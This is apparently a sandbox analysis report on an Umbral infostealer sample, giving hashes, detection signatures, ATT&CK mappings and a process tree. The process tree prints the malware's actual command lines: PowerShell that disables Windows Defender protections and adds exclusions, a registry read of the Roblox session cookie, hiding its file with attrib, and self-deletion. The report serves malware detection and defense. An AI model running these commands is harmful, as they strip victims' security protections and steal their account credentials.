umbral | 73207e68fd2611a51968b6903020cedf7d6c07eeb7e8570de6ac533d93d31e25

Analysis

max time kernel
456s
max time network
1176s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
05-06-2024 16:14

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General

Target

C37boot/C37Bootstrapper.exe
Size

405KB
MD5

c8294556e29920bfcc619529da141096
SHA1

7dad1b482c1d3baeade911400027e615e2ea52ff
SHA256

26deb9a0264cccfdef387610235e9e9032144c8e73561c3d0007c248a6c84dc3
SHA512

1ac29a6ecdf761d85d3b1b64910f7edd865238d1d6b159532efb8260fa9af35c7db06892359ba9efe7bd571ec2bd259a0621721666fd5b085e92f68848f63af6
SSDEEP

6144:nloZM+rIkd8g+EtXHkv/iD4w85EFzQEb3CzFQMpFlb8e1mBiEqkRH:loZtL+EP8w85EFzQEb3CzFQMpfvEJ

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1660-0-0x000001558D210000-0x000001558D27C000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4856	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	C37Bootstrapper.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
23	discord.com
24	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2632	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2024	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1660	C37Bootstrapper.exe
4856	powershell.exe
4856	powershell.exe
2368	powershell.exe
2368	powershell.exe
4352	powershell.exe
4352	powershell.exe
2192	powershell.exe
2192	powershell.exe
3416	powershell.exe
3416	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1660	C37Bootstrapper.exe
Token: SeIncreaseQuotaPrivilege	3696	wmic.exe
Token: SeSecurityPrivilege	3696	wmic.exe
Token: SeTakeOwnershipPrivilege	3696	wmic.exe
Token: SeLoadDriverPrivilege	3696	wmic.exe
Token: SeSystemProfilePrivilege	3696	wmic.exe
Token: SeSystemtimePrivilege	3696	wmic.exe
Token: SeProfSingleProcessPrivilege	3696	wmic.exe
Token: SeIncBasePriorityPrivilege	3696	wmic.exe
Token: SeCreatePagefilePrivilege	3696	wmic.exe
Token: SeBackupPrivilege	3696	wmic.exe
Token: SeRestorePrivilege	3696	wmic.exe
Token: SeShutdownPrivilege	3696	wmic.exe
Token: SeDebugPrivilege	3696	wmic.exe
Token: SeSystemEnvironmentPrivilege	3696	wmic.exe
Token: SeRemoteShutdownPrivilege	3696	wmic.exe
Token: SeUndockPrivilege	3696	wmic.exe
Token: SeManageVolumePrivilege	3696	wmic.exe
Token: 33	3696	wmic.exe
Token: 34	3696	wmic.exe
Token: 35	3696	wmic.exe
Token: 36	3696	wmic.exe
Token: SeIncreaseQuotaPrivilege	3696	wmic.exe
Token: SeSecurityPrivilege	3696	wmic.exe
Token: SeTakeOwnershipPrivilege	3696	wmic.exe
Token: SeLoadDriverPrivilege	3696	wmic.exe
Token: SeSystemProfilePrivilege	3696	wmic.exe
Token: SeSystemtimePrivilege	3696	wmic.exe
Token: SeProfSingleProcessPrivilege	3696	wmic.exe
Token: SeIncBasePriorityPrivilege	3696	wmic.exe
Token: SeCreatePagefilePrivilege	3696	wmic.exe
Token: SeBackupPrivilege	3696	wmic.exe
Token: SeRestorePrivilege	3696	wmic.exe
Token: SeShutdownPrivilege	3696	wmic.exe
Token: SeDebugPrivilege	3696	wmic.exe
Token: SeSystemEnvironmentPrivilege	3696	wmic.exe
Token: SeRemoteShutdownPrivilege	3696	wmic.exe
Token: SeUndockPrivilege	3696	wmic.exe
Token: SeManageVolumePrivilege	3696	wmic.exe
Token: 33	3696	wmic.exe
Token: 34	3696	wmic.exe
Token: 35	3696	wmic.exe
Token: 36	3696	wmic.exe
Token: SeDebugPrivilege	4856	powershell.exe
Token: SeDebugPrivilege	2368	powershell.exe
Token: SeDebugPrivilege	4352	powershell.exe
Token: SeDebugPrivilege	2192	powershell.exe
Token: SeIncreaseQuotaPrivilege	4268	wmic.exe
Token: SeSecurityPrivilege	4268	wmic.exe
Token: SeTakeOwnershipPrivilege	4268	wmic.exe
Token: SeLoadDriverPrivilege	4268	wmic.exe
Token: SeSystemProfilePrivilege	4268	wmic.exe
Token: SeSystemtimePrivilege	4268	wmic.exe
Token: SeProfSingleProcessPrivilege	4268	wmic.exe
Token: SeIncBasePriorityPrivilege	4268	wmic.exe
Token: SeCreatePagefilePrivilege	4268	wmic.exe
Token: SeBackupPrivilege	4268	wmic.exe
Token: SeRestorePrivilege	4268	wmic.exe
Token: SeShutdownPrivilege	4268	wmic.exe
Token: SeDebugPrivilege	4268	wmic.exe
Token: SeSystemEnvironmentPrivilege	4268	wmic.exe
Token: SeRemoteShutdownPrivilege	4268	wmic.exe
Token: SeUndockPrivilege	4268	wmic.exe
Token: SeManageVolumePrivilege	4268	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1660 wrote to memory of 3696	1660	C37Bootstrapper.exe	83
PID 1660 wrote to memory of 3696	1660	C37Bootstrapper.exe	83
PID 1660 wrote to memory of 2608	1660	C37Bootstrapper.exe	88
PID 1660 wrote to memory of 2608	1660	C37Bootstrapper.exe	88
PID 1660 wrote to memory of 4856	1660	C37Bootstrapper.exe	90
PID 1660 wrote to memory of 4856	1660	C37Bootstrapper.exe	90
PID 1660 wrote to memory of 2368	1660	C37Bootstrapper.exe	92
PID 1660 wrote to memory of 2368	1660	C37Bootstrapper.exe	92
PID 1660 wrote to memory of 4352	1660	C37Bootstrapper.exe	94
PID 1660 wrote to memory of 4352	1660	C37Bootstrapper.exe	94
PID 1660 wrote to memory of 2192	1660	C37Bootstrapper.exe	96
PID 1660 wrote to memory of 2192	1660	C37Bootstrapper.exe	96
PID 1660 wrote to memory of 4268	1660	C37Bootstrapper.exe	100
PID 1660 wrote to memory of 4268	1660	C37Bootstrapper.exe	100
PID 1660 wrote to memory of 1068	1660	C37Bootstrapper.exe	102
PID 1660 wrote to memory of 1068	1660	C37Bootstrapper.exe	102
PID 1660 wrote to memory of 4048	1660	C37Bootstrapper.exe	104
PID 1660 wrote to memory of 4048	1660	C37Bootstrapper.exe	104
PID 1660 wrote to memory of 3416	1660	C37Bootstrapper.exe	106
PID 1660 wrote to memory of 3416	1660	C37Bootstrapper.exe	106
PID 1660 wrote to memory of 2632	1660	C37Bootstrapper.exe	108
PID 1660 wrote to memory of 2632	1660	C37Bootstrapper.exe	108
PID 1660 wrote to memory of 3516	1660	C37Bootstrapper.exe	111
PID 1660 wrote to memory of 3516	1660	C37Bootstrapper.exe	111
PID 3516 wrote to memory of 2024	3516	cmd.exe	113
PID 3516 wrote to memory of 2024	3516	cmd.exe	113

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2608	attrib.exe

C:\Users\Admin\AppData\Local\Temp\C37boot\C37Bootstrapper.exe
"C:\Users\Admin\AppData\Local\Temp\C37boot\C37Bootstrapper.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1660
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3696
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\C37boot\C37Bootstrapper.exe"
  2⤵
  - Views/modifies file attributes
  PID:2608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\C37boot\C37Bootstrapper.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2192
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4268
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1068
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3416
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2632
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\C37boot\C37Bootstrapper.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3516
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:2024

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
a43e653ffb5ab07940f4bdd9cc8fade4

SHA1
af43d04e3427f111b22dc891c5c7ee8a10ac4123

SHA256
c4c53abb13e99475aebfbe9fec7a8fead81c14c80d9dcc2b81375304f3a683fe

SHA512
62a97e95e1f19a8d4302847110dae44f469877eed6aa8ea22345c6eb25ee220e7d310fa0b7ec5df42356815421c0af7c46a0f1fee8933cc446641800eda6cd1b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e017179ec69926b671b38e74dc57c815

SHA1
133a0d59b796baaa15dd0df7a17565458ff159ee

SHA256
53f5a2a4fa0f6f0acfaaa4ec479d7efd0625014ffc8660fe642c2a4f822188ee

SHA512
ac305c8798b7fe36c9433f8941308cc017b1a565b04beebbf7925716a1a1dfe1d3854ea4a97891dc31da4fdf5c013dddf67eb587ed588931b2ff44bb1969709b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
0b8cb2e6dd5794b6a56a4bdbbd430fd7

SHA1
2b08e348c3489c6a35761af073018e3784c12074

SHA256
bcce0d44e33747e4c39df9afbd0a4e98a47ded0188375e4dfdd94cafbb366e1f

SHA512
15ce3b588aa80899f69b0313c7e188d886bddbd09783ca732ac33f9ae8e4e017a72b6f98919f581383a4582732575e5faedb0dea87e01cf2b657424945fdf4d2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
e3162109ea3d725ddc747eaa0ef699cb

SHA1
d9ba745670bb86fd131e30f221080821b637093d

SHA256
7171ee5d24fc23e988883b912d3dac7b79e7b9fa68005d18c4bf39c4af67a592

SHA512
968cb5b347c8680738088a4e66a3b9a16d27bfe400866e7905fd00176ed21d7c7dcb0131d209869753a401eaa6c5d9eebea4c1ba9575172b67d446872c063e7d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0punexqn.j5a.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1660-71-0x00000155A7880000-0x00000155A788A000-memory.dmp

Filesize
40KB

Download
memory/1660-35-0x000001558EFF0000-0x000001558F00E000-memory.dmp

Filesize
120KB

Download
memory/1660-90-0x00007FFC70880000-0x00007FFC71341000-memory.dmp

Filesize
10.8MB

Download
memory/1660-72-0x00000155A78C0000-0x00000155A78D2000-memory.dmp

Filesize
72KB

Download
memory/1660-2-0x00007FFC70880000-0x00007FFC71341000-memory.dmp

Filesize
10.8MB

Download
memory/1660-33-0x00000155A79F0000-0x00000155A7A66000-memory.dmp

Filesize
472KB

Download
memory/1660-34-0x00000155A7830000-0x00000155A7880000-memory.dmp

Filesize
320KB

Download
memory/1660-0-0x000001558D210000-0x000001558D27C000-memory.dmp

Filesize
432KB

Download
memory/1660-1-0x00007FFC70883000-0x00007FFC70885000-memory.dmp

Filesize
8KB

Download
memory/4856-15-0x00007FFC70880000-0x00007FFC71341000-memory.dmp

Filesize
10.8MB

Download
memory/4856-9-0x00007FFC70880000-0x00007FFC71341000-memory.dmp

Filesize
10.8MB

Download
memory/4856-14-0x000002A7BBD80000-0x000002A7BBDA2000-memory.dmp

Filesize
136KB

Download
memory/4856-13-0x00007FFC70880000-0x00007FFC71341000-memory.dmp

Filesize
10.8MB

Download
memory/4856-18-0x00007FFC70880000-0x00007FFC71341000-memory.dmp

Filesize
10.8MB

Download